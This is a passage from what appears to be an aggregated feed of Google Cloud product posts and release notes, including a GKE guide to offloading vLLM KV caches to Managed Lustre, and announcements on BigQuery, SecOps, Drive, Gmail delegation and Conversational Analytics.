Polymorphic Validation Hooks (Cloud Run functions): Isolated programmatic constraints live as decoupled serverless endpoints. When an asset field triggers a verification check, the orchestration middleware dynamically calls the targeted function mapped inside the registry descriptor.

Business and Operational Impact

Shifting from a static paradigm to a dynamic, decoupled schema architecture provides immediate advantages for enterprise production environments:

100% Reasoning Density: Because the agent's context window is never cluttered with irrelevant rules or alternate schemas, token consumption drops drastically, latency decreases, and hallucination rates fall to near zero.
Zero-Downtime Adaptability: Need to support a new product variant, an updated database field, or a shifting compliance rule? Simply upload a new or revised JSON descriptor to your central registry. The multi-agent system will adapt to the new business rules on its very next turn without a single line of code being redeployed.
Deterministic State Enforcement: By binding your prompt instructions directly to programmatic validation rules via the registry, you eliminate the risk of silent multi-agent failures. Outbound context payloads are systematically checked and corrected before hitting expensive enterprise applications.

Google Cloud Summit in Africa Highlights the Continent’s Digital Transformation and Unveils New Agentic AI and Infrastructure Investments

2026-07-01T12:00:00+00:00

Cloud Release Notes — July 01, 2026

2026-07-01T07:00:00+00:00

BigQuery

Feature

You can now use pre-trained TimesFM models in BigQuery ML directly from Connected Sheets. These models let you create forecasts and detect anomalies in your data by using the AI.FORECAST and AI.DETECT_ANOMALIES functions. This feature is generally available (GA).

Gemini Enterprise Agent Platform

Feature

Provisioned Throughput: Multiple pending new orders GA

The ability to submit multiple pending orders is generally available. you can submit up to seven Google model orders for the same model and region. See Multiple pending orders.

Google SecOps

Feature

[Spotlight Feature] Enhanced security and compliance for the Advanced BigQuery Export feature

The Advanced BigQuery Export feature is in Preview and is available for Google SecOps Enterprise Plus customers only.

Here's what's new: We're excited to announce significant performance and coverage enhancements to Advanced BigQuery Export for Google SecOps Enterprise Plus customers.

Expanded dataset support: In addition to UDM events, rule detections, and IoC matches, we now support the export of Entity Graph and Ingestion Metrics.
Enhanced security & compliance: The offering natively supports VPC Service Controls (VPC-SC), Customer-Managed Encryption Keys (CMEK), and Data Residency (DRZ). Furthermore, customer-facing audit logs (Access Transparency) are delivered directly to your Cloud Logging workspace using the Federated Resource Identification Service.
Data integrity and deduplication: The system now uses Fine-Grained DML merges to update records in place behind the scenes. This ensures that you receive clean, deduplicated data without needing to write complex SQL routines.
Seamless MSSP support (hub and spoke): Managed Security Service Providers (MSSPs) can now efficiently manage analytics across multiple customer tenants. This is achieved by programmatically subscribing to customers' linked datasets from a single centralized "Hub" project.
Enum mapping tables: Advanced BigQuery Export now includes entity_enum_value_to_name_mapping and udm_enum_value_to_name_mapping tables. These allow you to easily join against your events to translate numerical enum values into human-readable strings.

Key reminders

Public preview & feature activation: This feature is currently in Public Preview, is enabled only upon request, and may require initial configuration in your organization's Google SecOps instance. Contact your Google SecOps representative to confirm feature enablement.
Enterprise Plus only: This feature is exclusive to the Enterprise Plus tier.
Zero-maintenance: Your security data remains in a Google-managed project, appearing as a read-only linked dataset directly in your own Google Cloud project. This lets you query the data locally without the overhead of managing the pipeline or paying for storage.
Migration and dual operation: To support a smooth transition without disruption during the Public Preview, your data will be exported to the new BigQuery tenant project in addition to your existing Google-managed BigQuery project. You'll be notified before the old export pipeline is disabled for your account.

Google SecOps Marketplace

Feature

Proofpoint Email Protection: Version 8.0

The following new actions have been added to support searching and programmatically managing quarantined emails:
- Search Quarantined Emails
- Delete Quarantined Email
- Resubmit Quarantined Email
- Move Quarantined Email

Change

Proofpoint Email Protection: Version 8.0

Updated backend script implementation to support the new framework for the following actions:
- Enrich Entities
- Ping

Looker

Announcement

The latest versions in the Looker (Google Cloud core) release channels are beginning deployment as follows:

Latest version in the Rapid channel: 26.10
Latest version in the Regular channel: 26.10
Latest version in the No Channel channel: 26.10

Feature

Looker (Google Cloud core) has introduced release channels in preview, allowing users to choose between Rapid, Regular, and "No channel" options to manage the cadence of version updates. The Rapid channel provides early access to new capabilities but is excluded from the Service Level Agreement (SLA), while the Regular channel offers balanced stability with an optional Accelerated Security Patching flag.

Scaling LLM Inference: Multi-Node KV Cache Offloading with GKE & Managed Lustre

2026-07-01T07:00:00+00:00

Significant contributors to this article include Sneha Aradhey, Software Engineer, Google Kubernetes Engine, and Michael MacDonald, Sr Software Engineer, Google Cloud Managed Lustre.

Enterprise production environments are shifting to distributed, multi-node architectures to serve long-context window lengths and agentic AI. As these workloads scale, KVCaches often outgrow local CPU RAM and host SSD cache tiers.

To handle this, some setups attempt to pool node-local storage into a distributed layer (such as multi-node pooled NVMe arrays). Pooling SSDs aggregates raw capacity and often leverages spare local drives, presenting clear advantages. However, there are some limitations: the approach requires the compute cluster to manage its own complex data distribution and cross-node replication.

An alternative is to offload the attention state to a dedicated, high-performance external parallel filesystem. We utilize Google Cloud Managed Lustre with the llm-d offloading stack as a cluster-wide decentralized attention cache tier, bypassing host-level capacity limits and eliminating the networking overhead of managing local pooled drives.

With this approach, we achieve efficiency at scale:

Google Cloud Managed Lustre enables over 50% TCO savings and reduces GPU-hour requirements for Llama-3.3-70B inference on a six-node A3 Mega cluster by nearly 60%. These gains are realized by offloading shared, prefilled KV caches to Lustre’s high-performance tier with a 95% cache hit rate.

Benchmark Configuration

Model: Llama-3.3-70B
Context Dynamics: Prompt length of 50,000 tokens, input question length of 256 tokens, and output length of 512 tokens.

Extension of Lustre KV Cache solution with CPU RAM offload

The Managed Lustre KV Cache offload architecture can be extended via integration of offload to CPU RAM. This hybrid approach significantly improves performance compared to CPU offload only, delivering approximately 40% improvement in Time to First Token (TTFT) and a 30% reduction in end-to-end latency, for Llama-3.3-70B inference.

User Guide

Architectural Components

GKE GPU Nodes: Dedicated accelerator resources provisioned exclusively for high-throughput model execution and tensor-parallel operations.
Managed Lustre: A shared, high-bandwidth parallel filesystem acting as a centralized external tier that caches prefilled attention states to eliminate redundant prefill computation.
PVC Evictor: A scalable, distributed garbage collection service that tracks file access patterns and automatically removes Least-Recently-Used (LRU) cache chunks to maintain healthy storage headroom.

Target Models

This guide provides two distinct, validated tracks for deployment depending on your model preference:

Qwen Series: Qwen/Qwen3.5-35B-A3B
Gemma 4 Architecture: google/gemma-4-31B-it

Architectural Diagram

Before You Begin

Before starting this deployment, ensure your Google Cloud project is properly configured:

Quota: Verify you have sufficient quota for the selected accelerators in your chosen region, as well as adequate general CPU, memory, and Managed Lustre quotas.
Validate Required IAM Permissions for Managed Lustre
Prepare your Environment to Connect to Managed Lustre: Complete the “Before You Begin” steps to enable APIs, set up environment variables, and set up your VPC.
- GKE Version: The Managed Lustre CSI driver is supported on GKE versions 1.33 or later. For the best experience and default port (988) usage, GKE version 1.33.2-gke.4780000 or later is recommended.

Overview of Required Steps

Create the GKE Cluster
Create the GPU Compute node pool
Provision Lustre storage
Deploy vLLM Serving Engine with Lustre
Deploy the PVC Evictor
Clean Up

1. Create the GKE Cluster

Create a rapid-channel GKE cluster with Workload Identity and all necessary CSI storage add-ons enabled (Lustre, GCSFuse and Persistent Disk).

code_block: <ListValue: [StructValue([('code', 'export CLUSTER_NAME="<INSERT CLUSTER NAME>"\r\nexport ZONE="<INSERT ZONE>"\r\nexport PROJECT_ID="<INSERT PROJECT>"\r\nexport NETWORK_NAME="<INSERT NETWORK>"\r\n\r\ngcloud container clusters create "$CLUSTER_NAME" \\\r\n --zone "$ZONE" \\\r\n --num-nodes "1" \\\r\n --network "${NETWORK_NAME}" \\\r\n --addons "HorizontalPodAutoscaling,HttpLoadBalancing,GcePersistentDiskCsiDriver,GcsFuseCsiDriver,LustreCsiDriver" \\\r\n --workload-pool "${PROJECT_ID}.svc.id.goog" \\\r\n --enable-managed-prometheus \\\r\n --enable-ip-alias \\\r\n --enable-shielded-nodes \\\r\n --shielded-integrity-monitoring \\\r\n --no-shielded-secure-boot \\\r\n --node-locations "$ZONE" \\\r\n --network="${NETWORK_NAME}" \\\r\n --gateway-api=standard'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b1017580>)])]>

2. Create the GPU Compute Node Pool

Provision an GPU VM node pool ( e.g. a3-megagpu-4g, a4-highgpu-4g, etc.).

code_block: <ListValue: [StructValue([('code', 'gcloud beta container node-pools create gpu-vm nodepool \\\r\n --location="$ZONE" \\\r\n --cluster="$CLUSTER_NAME" \\\r\n --project="$PROJECT_ID" \\\r\n --accelerator="type=<INSERT GPU_ACCELERATOR_NAME>,count=<INSERT GPU_COUNT>,gpu-driver-version=LATEST" \\\r\n --machine-type="<INSERT GPU_COMPUTE_VM_MACHINE TYPE>" \\\r\n --num-nodes="<INSERT NODE_COUNT>" \\\r\n --enable-gvnic \\\r\n --no-enable-autoupgrade\r\n\r\n# Fetch cluster credentials\r\ngcloud container clusters get-credentials "$CLUSTER_NAME" --zone "$ZONE"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b1017a90>)])]>

3. Provision Lustre Storage (Auto-provisioned)

Before deploying vLLM, you need to provision the Lustre storage. We use an auto-provisioned Lustre instance via a StorageClass and a PersistentVolumeClaim (PVC).

Create a file named lustre-pvc.yaml with the following content:

code_block: <ListValue: [StructValue([('code', 'apiVersion: storage.k8s.io/v1\r\nkind: StorageClass\r\nmetadata:\r\n name: lustre-class\r\nprovisioner: lustre.csi.storage.gke.io\r\nvolumeBindingMode: Immediate\r\nreclaimPolicy: Delete\r\nmountOptions:\r\n - localflock\r\nparameters:\r\n perUnitStorageThroughput: "<CHOOSE_PERFORMANCE_TIER>" # See options below.\r\n network: "<INSERT NETWORK_NAME>"\r\n---\r\napiVersion: v1\r\nkind: PersistentVolumeClaim\r\nmetadata:\r\n name: lustre-pvc\r\nspec:\r\n accessModes:\r\n - ReadWriteMany\r\n resources:\r\n requests:\r\n storage: <INSERT CAPACITY_GiB> # Range from 9000Gi to 84016000Gi, increments and ranges are Lustre tier-dependent.\r\n storageClassName: lustre-class'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b10177c0>)])]>

Notes: Performance tier options are “125”, “250”, “500”, and “1000”. Per-tier capacity ranges and increments can be found here.

Apply this manifest to provision the Lustre instance and observe provisioning:

code_block: <ListValue: [StructValue([('code', '# 1. Submit the file to the cluster (finishes instantly)\r\nkubectl apply -f lustre-pvc.yaml\r\n\r\n# 2. Watch the live provisioning stream until it says "Bound"\r\nkubectl get pvc lustre-pvc -w'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b1017af0>)])]>

4. Deploy vLLM Serving Engine with Lustre

Step 4a: Create the Hugging Face Access Secret

Before submitting the deployment manifest, you must provision your Hugging Face API token as a secure secret within the cluster.

Run the following command, replacing `<INSERT_HF_TOKEN>` with your token:

code_block: <ListValue: [StructValue([('code', 'kubectl create secret generic hf-token-secret \\\r\n --from-literal=token="<INSERT_HF_TOKEN>" \\\r\n --namespace=default'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b10175e0>)])]>

Step 4b: Create the vLLM Deployment Manifest

This complete Kubernetes manifest deploys the vLLM engine, configures the llmd-fs-connector for high-performance KV-caching, and mounts your parallel Lustre storage (lustre-pvc).

Common Manifest (Choose between Qwen3.5 or gemma-4)

Replace example values between <> with appropriate values for your environment.

code_block: <ListValue: [StructValue([('code', 'apiVersion: apps/v1\r\nkind: Deployment\r\nmetadata:\r\n name: vllm-storage\r\n namespace: default\r\n labels:\r\n app: vllm-storage\r\nspec:\r\n replicas: 1\r\n selector:\r\n matchLabels:\r\n app: vllm-storage\r\n template:\r\n metadata:\r\n labels:\r\n app: vllm-storage\r\n spec:\r\n nodeSelector:\r\n cloud.google.com/gke-accelerator: nvidia-h100-80gb\r\n tolerations:\r\n - key: "nvidia.com/gpu"\r\n operator: "Exists"\r\n effect: "NoSchedule"\r\n securityContext:\r\n fsGroup: <YOUR_NON_ROOT_GID>\r\n runAsUser: <YOUR_NON_ROOT_UID>\r\n volumes:\r\n - name: lustre-storage\r\n persistentVolumeClaim:\r\n claimName: lustre-pvc\r\n - name: shm\r\n emptyDir:\r\n medium: Memory\r\n sizeLimit: "200Gi"\r\n containers:\r\n - name: vllm-storage\r\n image: vllm/vllm-openai:v0.23.0-cu129\r\n volumeMounts:\r\n - mountPath: /mnt/files-storage\r\n name: lustre-storage\r\n command:\r\n - "/bin/bash"\r\n args:\r\n - "-c"\r\n - |\r\n set -x\r\n export USER=vllm\r\n export LOGNAME=vllm\r\n pip install --user msgpack\r\n pip install \'llmd-fs-connector==0.23\' --extra-index-url https://llm-d.github.io/llm-d-kv-cache/simple/\r\n \r\n vllm serve <MODEL_NAME> \\ # google/gemma-4-31B-it OR Qwen/Qwen3.5-35B-A3B\r\n --download-dir /model/models \\\r\n --load-format auto \\\r\n --kv-transfer-config \'{\r\n "kv_connector": "MultiConnector",\r\n "kv_role": "kv_both",\r\n "kv_connector_extra_config": {\r\n "connectors": [\r\n {\r\n "kv_connector": "OffloadingConnector",\r\n "kv_role": "kv_both",\r\n "kv_connector_extra_config": {\r\n "cpu_bytes_to_use": 64424509440,\r\n "lazy_offload": true\r\n }\r\n },\r\n {\r\n "kv_connector": "OffloadingConnector",\r\n "kv_role": "kv_both",\r\n "kv_connector_extra_config": {\r\n "spec_name": "SharedStorageOffloadingSpec",\r\n "spec_module_path": "llmd_fs_backend.spec",\r\n "shared_storage_path": "/mnt/files-storage/llmd-kv-cache/",\r\n "threads_per_gpu": 32,\r\n "block_size": <BLOCK_SIZE> # 256 for gemma or 528 for Qwen3.5\r\n }\r\n }\r\n ]\r\n }\r\n }\' \\\r\n --distributed_executor_backend "mp" \\\r\n --port 8000 \\\r\n --max_num_batched_tokens 16384 \\\r\n --enable-chunked-prefill \\\r\n --max-model-len 32000 \\\r\n --gpu-memory-utilization 0.92 \\\r\n --tensor-parallel-size "4" \\\r\n --prefix-caching-hash-algo sha256_cbor \\\r\n --enable_prefix_caching \\\r\n --enforce-eager \\\r\n --no-disable-hybrid-kv-cache-manager\r\n env:\r\n - name: HUGGING_FACE_HUB_TOKEN\r\n valueFrom:\r\n secretKeyRef:\r\n name: hf-token-secret\r\n key: token\r\n # ... probes ...\r\n resources:\r\n requests:\r\n nvidia.com/gpu: "4"\r\n limits:\r\n nvidia.com/gpu: "4"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b1017ee0>)])]>

Note: Qwen-3.5 specifically requires a block size of 528 to avoid fragmentation, while Gemma 4 functions perfectly with the default 256.

Step 4c: Apply and Verify Deployment

To apply this manifest to your cluster, run:

code_block: <ListValue: [StructValue([('code', 'kubectl apply -n default -f vllm-lustre-deployment.yaml'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b1017fa0>)])]>

Step 4d: Track Model Download Status

Because large models can take some time to download on first boot, track the initialization logs directly by streaming the container logs:

Bash

code_block: <ListValue: [StructValue([('code', 'kubectl rollout status deployment/vllm-storage'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b1017e50>)])]>

5. Deploy the PVC Evictor

PVC Evictor Overview

Architecture & Role

The llmd_fs_backend connector offloads KV-cache blocks to Lustre but does not natively delete old cache files. Over time, the cache will fill the shared filesystem. The PVC Evictor acts as an external garbage collector that continuously monitors disk usage and evicts least-recently-used (LRU) files to maintain healthy storage headroom.

Scaling & Sharding

The PVC Evictor supports sharding and can be scaled to multiple replicas to match the capacity and performance of your Lustre instance. As a rule of thumb, you should deploy 1 evictor replica for each 72 TB of Lustre capacity to distribute the eviction load effectively without overwhelming the metadata servers.

For large-scale deployments, the evictor can be configured to run with multiple shards. When running in multi-replica mode, the workload is partitioned across pods, with each pod managing a specific shard of the cache namespace. This prevents redundant metadata scans and race conditions.

High-Performance Resource Requirements

Running the evictor at high scale (e.g., with 16 parallel crawler processes) requires significant CPU and memory resources to handle the rapid scanning and queue management of millions of files. Ensure that the pods are provisioned with sufficient resources (e.g., 12 CPU requests and 8Gi Memory requests) and scheduled on appropriate node types (such as c4-standard-16).

PVC Evictor Deployment Steps

The PVC Evictor is deployed via Helm using the chart located in kv_connectors/pvc_evictor/helm.

Step 5a: Create a Dedicated Node Pool for the Evictor

Running the evictor at high scale requires significant CPU and memory. First, create a dedicated node pool using a high-performance machine type (such as c4-standard-16) to accommodate the 12 CPU and 8Gi memory requests needed per pod.

code_block: <ListValue: [StructValue([('code', '# Create a dedicated node pool for the PVC Evictor\r\ngcloud container node-pools create evictor-pool \\\r\n --location="$ZONE" \\\r\n --cluster="$CLUSTER_NAME" \\\r\n --project="$PROJECT_ID" \\\r\n --machine-type="c4-standard-16" \\\r\n --num-nodes="1"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b1017d60>)])]>

Step 5b: Install via Helm (High-Performance Configuration)

Deploy a scaled, high-performance evictor pool with 2 replicas to monitor lustre-pvc. This configuration uses 16 crawler processes per pod to handle massive file namespaces.

Note on Security Contexts: To allow the evictor pod to delete files created by vLLM, it must run with matching security context IDs. Ensure the placeholders <YOUR_NON_ROOT_GID> and <YOUR_NON_ROOT_UID> exactly match the non-root values used in the securityContext of your vLLM deployment to ensure shared POSIX file permissions.

code_block: <ListValue: [StructValue([('code', 'git clone --depth 1 https://github.com/llm-d/llm-d-kv-cache.git\r\ncd llm-d-kv-cache/kv_connectors/pvc_evictor\r\n\r\nhelm install pvc-evictor ./helm \\\r\n --namespace default \\\r\n --set replicaCount=1 \\\r\n --set config.numCrawlerProcesses=16 \\\r\n --set config.deletionBatchSize=5000 \\\r\n --set config.fileQueueMinSize=1000000 \\\r\n --set config.fileQueueMaxsize=2000000 \\\r\n --set config.fileAccessTimeThresholdMinutes=10 \\\r\n --set securityContext.container.runAsNonRoot=false \\\r\n --set pvc.name="lustre-pvc" \\\r\n --set config.cleanupThreshold=85.0 \\\r\n --set config.targetThreshold=70.0 \\\r\n --set config.cacheDirectory="llmd-kv-cache" \\\r\n --set securityContext.pod.fsGroup=<YOUR_NON_ROOT_GID> \\\r\n --set securityContext.container.runAsUser=<YOUR_NON_ROOT_UID> \\\r\n --set resources.requests.cpu=12 \\\r\n --set resources.requests.memory=8Gi \\\r\n --set resources.limits.cpu=15 \\\r\n --set resources.limits.memory=16Gi \\\r\n --set nodeSelector."cloud\\.google\\.com/gke-nodepool"=evictor-pool \\\r\n --set securityContext.pod.seLinuxOptions.level="s0:c0\\,c1"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b1017eb0>)])]>

Critical Parameters Explained:

replicaCount=2: Deploys 2 evictor pods. The Helm chart automatically configures sharding (totalShards=2) when multiple replicas are used.
config.numCrawlerProcesses=16: Runs 16 parallel crawler threads per pod to scan the filesystem rapidly.
config.deletionBatchSize=5000: Deletes files in batches of 5000 to reduce metadata overhead.
config.fileQueueMinSize & config.fileQueueMaxsize: Configures large memory queues (1M min, 2M max) to buffer files for deletion, matching the high crawler throughput.
config.fileAccessTimeThresholdMinutes=10: Aggressively evicts files that haven't been accessed in the last 10 minutes when the cleanup threshold is triggered.
securityContext.container.runAsNonRoot=false: Required if the evictor needs root-like permissions to manage/delete files across different user ownerships on the shared storage.
resources.requests & limits: Allocates 12-15 CPUs and 8-16Gi of memory per pod to ensure the high number of crawler processes do not get CPU-throttled or run Out-Of-Memory (OOM).

Step 5c: Verify and Monitor

code_block: <ListValue: [StructValue([('code', '# Verify pod status\r\nkubectl get pods -l app.kubernetes.io/name=pvc-evictor -n default'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b1017c40>)])]>

Step 6: Clean Up

Because this deployment provisions significant and high-cost hardware, be sure to clean up your environment when you are done to avoid unnecessary charges.

Bash

code_block: <ListValue: [StructValue([('code', 'helm uninstall pvc-evictor && kubectl delete -f vllm-lustre-deployment.yaml\r\n\r\nkubectl delete pvc lustre-pvc\r\n\r\n# Delete the cluster (this also deletes the associated node pools)\r\ngcloud container clusters delete "$CLUSTER_NAME" \\\r\n --zone "$ZONE" \\\r\n --project "$PROJECT_ID" \\\r\n --quiet\r\n\r\n# Note: The Lustre StorageClass reclaimPolicy is set to Delete, \r\n# so destroying the PVC or Cluster will automatically clean up the underlying Lustre storage.'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b1017dc0>)])]>

Appendix: Reference Configuration for Llama-3.3-70B Benchmark

The following configuration is a representation of the deployment manifest used to generate the Llama-3.3-70B benchmark results referenced in this post. It is provided for completeness and transparency.

Note: This configuration utilizes an earlier iteration of the software stack (vLLM v0.15.0) and specific infrastructure flags that were active in the benchmarking environment at the time the data was collected.

code_block: <ListValue: [StructValue([('code', 'apiVersion: apps/v1\r\nkind: Deployment\r\nmetadata:\r\n name: vllm-storage\r\n namespace: default\r\n labels:\r\n app: vllm-storage\r\nspec:\r\n replicas: 1\r\n selector:\r\n matchLabels:\r\n app: vllm-storage\r\n template:\r\n metadata:\r\n labels:\r\n app: vllm-storage\r\n spec:\r\n volumes:\r\n - name: lustre-storage\r\n persistentVolumeClaim:\r\n claimName: lustre-pvc\r\n - name: shm\r\n emptyDir:\r\n medium: Memory\r\n sizeLimit: "200Gi"\r\n - name: kv-store-disk\r\n persistentVolumeClaim:\r\n claimName: lustre-pvc\r\n containers:\r\n - name: vllm-storage\r\n image: vllm/vllm-openai:v0.15.0\r\n command:\r\n - "/bin/bash"\r\n args:\r\n - "-c"\r\n - |\r\n pip install https://raw.githubusercontent.com/kfirtoledo/llm-d-kv-cache-manager/connector/kv_connectors/llmd_fs_backend/wheels/llmd_fs_connector-0.1.0-cp312-cp312-linux_x86_64.whl; \\\r\n mkdir -p /tmp/prometheus_metrics;\r\n export PROMETHEUS_MULTIPROC_DIR=/tmp/prometheus_metrics; \\\r\n vllm serve meta-llama/Llama-3.3-70B-Instruct \\\r\n --download-dir /model/models \\\r\n --load-format runai_streamer \\\r\n --kv-transfer-config \'{ \r\n "kv_connector": "OffloadingConnector", \r\n "kv_role": "kv_both",\r\n "kv_connector_extra_config": {\r\n "spec_name": "SharedStorageOffloadingSpec",\r\n "spec_module_path": "llmd_fs_backend.spec",\r\n "shared_storage_path": "/mnt/files-storage/llmd-kv-cache/",\r\n "block_size": 1024,\r\n "threads_per_gpu": "64"\r\n }\r\n }\' \\\r\n --distributed_executor_backend "mp" \\\r\n --port 8000 \\\r\n --max_num_batched_tokens 16384 \\\r\n --enable-chunked-prefill \\\r\n --tensor-parallel-size 8 \\\r\n --enable_prefix_caching \\\r\n --gpu-memory-utilization 0.9\r\n env:\r\n - name: HUGGING_FACE_HUB_TOKEN\r\n valueFrom:\r\n secretKeyRef:\r\n name: hf-token-secret\r\n key: token\r\n - name: VLLM_EXECUTE_MODEL_TIMEOUT_SECONDS\r\n value: "3000"\r\n - name: PYTHONHASHSEED\r\n value: "123"\r\n ports:\r\n - containerPort: 8000\r\n resources:\r\n limits:\r\n nvidia.com/gpu: "8"\r\n requests:\r\n cpu: "200"\r\n memory: 1024G\r\n ephemeral-storage: 5120Gi\r\n nvidia.com/gpu: "8"\r\n volumeMounts:\r\n - name: lustre-storage\r\n mountPath: /model\r\n - mountPath: /root/.cache/huggingface\r\n name: lustre-storage\r\n subPath: huggingface-cache\r\n - name: shm\r\n mountPath: /dev/shm\r\n - mountPath: /mnt/files-storage\r\n name: kv-store-disk\r\n # ... probes omitted for brevity ...'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b1017a60>)])]>

Updating our AMP documentation

2026-07-01T00:00:00+00:00

What: Simplified our AMP documentation by removing outdated references to the AMP viewer, AMP Cache, and signed exchange.

Why: Starting today, Google Search is updating how it connects users to AMP pages, and will now take users directly to the publisher's AMP host pages. This change simplifies and reduces maintenance efforts for publishers who are creating AMP content, as they no longer need to update the AMP cache or configure signed exchanges. AMP content will continue to rank just like any other web page.

Gemini Spark updates: macOS launch, connected apps and more

2026-06-30T21:00:00+00:00

Example spark task "Monitor interior design internships for this summer"

AI Overviews in Drive now available on mobile

2026-06-30T19:55:27+00:00

In April, we announced the general availability for Drive AI Overviews in Drive on the web. We’re now bringing this feature to the Drive Android and iOS apps.

Instead of searching through endless files and opening dozens of tabs to find the information you need, you can now get instant answers right at the top of your search results. Gemini does the heavy lifting for you, scanning your documents to provide clear, reliable summaries.

Here is how it helps you work smarter:

See the big picture: Get a quick summary of information pulled from multiple files without needing to open each one.
Ask naturally: There’s no need to use complicated search tricks. Just ask a question as you would to a colleague, like "What’s in our Spring 2026 catalog?"
Get the right answer: Gemini automatically understands what you’re looking for, whether it’s a quick fact, a project summary, or a list of specific documents, and adjusts its response to match.
Dig deeper with ease: If you need more information, you can go from a quick summary to a deeper conversation with Ask Gemini in just one click.
Control your AI Overviews scope: Use AI Overview search settings to choose which Google Workspace apps Gemini uses to find files and generate AI Overviews.

This feature will roll out in English and an additional 28 languages (the same as those supposed for Gemini in Drive side panel) over the next several weeks.

Getting started

Admins: This feature is available by default if Gemini for Workspace in Drive is enabled.
End users: You must have Workspace smart features enabled to use AI Overviews in Drive. Visit the Help Center to learn more about getting answers directly in Drive search.

Rollout pace

Rapid and Scheduled Release domains: Extended rollout (potentially longer than 15 days for feature visibility) started on June 26, 2026

Availability

Business: Business Standard and Plus
Enterprise: Enterprise Standard and Plus
Consumer: Google AI Pro and Ultra
AI Add-ons: Google AI Pro for Education

Resources

Google Help: Search & retrieve your files in Drive with Gemini

Work with delegated Gmail accounts from mobile devices

2026-06-30T18:26:46+00:00

This update removes a significant barrier for employees who rely on mobile devices for their daily productivity. For example, an administrative assistant can seamlessly handle urgent communications for an executive while away from the office, without needing to find a desktop computer.

When using the Gmail mobile app, delegates can now:

Switch between their own inbox and delegated accounts.
View unread message counts for delegated inboxes from the account menu.
See emails intermingled across delegated accounts and their own account using the mobile “All inboxes” view.
Send messages that allow recipients to view the specific "sent by" information in the mobile experience.

Administrators retain full control over delegation settings, including the ability to restrict delegation to specific organizational units. The mobile experience adheres to existing delegation policies and limits, such as supporting up to 1,000 unique delegates per account and 40 concurrent users. Delegators do not need to perform any additional setup to enable mobile access for their existing delegates.

Getting started

Admins: There is no admin control for this specific mobile feature; it follows existing delegation settings that you’ve configured for the web experience.
End users: To access a delegated account, ensure you have first been granted access via the Gmail web settings. Once granted, tap your profile picture in the Gmail app on Android or iOS and select the delegated account from the list. Visit the Help Center to learn more about delegating and collaborating on email.

Rollout pace

Rapid Release and Scheduled Release domains: Rolling out now with expected completion by July 8, 2026 (Android), and July 29, 2026 (iOS)

Availability

Available in early July to all Google Workspace customers, Workspace Individual subscribers, and users with personal Google accounts

Resources

Google Workspace Admin Help: Let users delegate access to a Gmail account
Google Help: Delegate and collaborate on email

Conversational analytics in BigQuery brings trusted agentic reasoning to everyone

2026-06-30T18:00:00+00:00

Businesses run on fast decisions, but the teams who hold the answers are often buried under a backlog of routine requests, leaving users waiting in line for insights they need now. Today, we are bringing Conversational Analytics in BigQuery to general availability, so both business and technical teams can query data, run multi-step analyses, and generate visual reports using natural language, right where the data lives. With this release, Conversational Analytics in BigQuery now delivers an agent that behaves like an analyst who knows your business, thinks before it answers, and stands behind its work. Built on Google’s latest Gemini models and BigQuery’s secure, governed foundation, it brings that trusted analyst to everyone in your organization.

Fig 1. Conversational Analytics in BigQuery

Conversational analytics for enterprise data

BigQuery’s conversational capabilities are built-in and available for use instantly, with no setup required.

For deeper, more consistent insights, data professionals can author specialized agents grounded in the exact sources that matter, from projects, datasets, and tables to views, graphs, and user-defined functions. And because your data rarely lives in one place, Conversational Analytics reaches beyond native BigQuery tables to Lakehouse-managed Apache Iceberg tables and cross-cloud Lakehouse sources like Databricks Unity, AWS Glue, SAP and Salesforce, so you can break down data silos and analyze data across clouds from a single conversation.

As a data practitioner, you work with Conversational Analytics right inside BigQuery Studio and Data Canvas, and publish the agents you build to Gemini Enterprise, Data Studio, or your own application through the Conversational Analytics API, putting them in the hands of business users wherever they work.

“At MoneySuperMarket, BigQuery Conversational Analytics has changed how our teams get to insight. Analysis that used to take weeks can now be done in minutes, saving our financial analysts around half a day each week. By making analysis more self-serve, we’re helping teams create faster insight to support better product and commercial decision-making.” - Suzie Millar, Head of Data, Mony Group

Engineered trust and explainability

Accuracy in Conversational Analytics is by design, not aspirational: every agent is grounded in your business context, not a model's assumptions. That context comes from the Knowledge Catalog (glossaries, profile scans, and context bundles), BigQuery Graph for multi-hop queries, and your own verified queries and custom agent instructions. With the new Open Knowledge Format, the wiki your team already maintains can feed straight into Knowledge Catalog. At query time, Conversational Analytics leverages existing embeddings of your column values, generated by AI.GENERATE_EMBEDDINGS, to match your question to the right data, so asking about "Texas" finds rows stored as "TX."

Grounding only earns trust if the user can see it. So every answer is inspectable, providing:

Visible thinking steps: Review the agent's step-by-step reasoning and the exact SQL it generates before it returns an answer.
Context citations: See the precise sources behind every response, including tables, schema definitions, verified queries, and glossary terms used to calculate it.
Proactive disambiguation: When a prompt is vague, the agent asks targeted clarifying questions instead of guessing.
Long-term memory: The agent remembers what your terms and questions mean, so you don't have to disambiguate the same thing twice.

Fig 2. Generating answers that you can trust

Security and governance by design

One common barrier to scaling AI is governance. Reaching tens of thousands of users requires rigorous security, governance, and transparent cost controls. Conversational Analytics inherits BigQuery's governance model, so users only query data they are authorized to see and every query is logged for auditing within the BigQuery compliance framework. On top of that baseline, it supports Access Transparency (AxT), Customer-Managed Encryption Keys (CMEK), Private IP, and VPC Service Controls, and now guarantees data residency for data at rest and for ML processing within EU and US multi-region endpoints.

For your most engaged users, we also deliver the operational controls that scale demands: Configure Google Cloud-native cost controls so no user or project exceeds its allotment, cap an agent's maximum query size in bytes, and track usage through BigQuery labels on jobs.

Fig 3. Agent Observability and Monitoring

The power of BigQuery AI, in plain language

The agent doesn't just retrieve rows, but calls BigQuery's AI functions for you, turning advanced analysis into a question you can ask in plain language.

Find the "why," not just the "what": Ask what drove a change and the agent runs root-cause analysis with AI.KEY_DRIVERS, surfacing the exact segments behind the move.
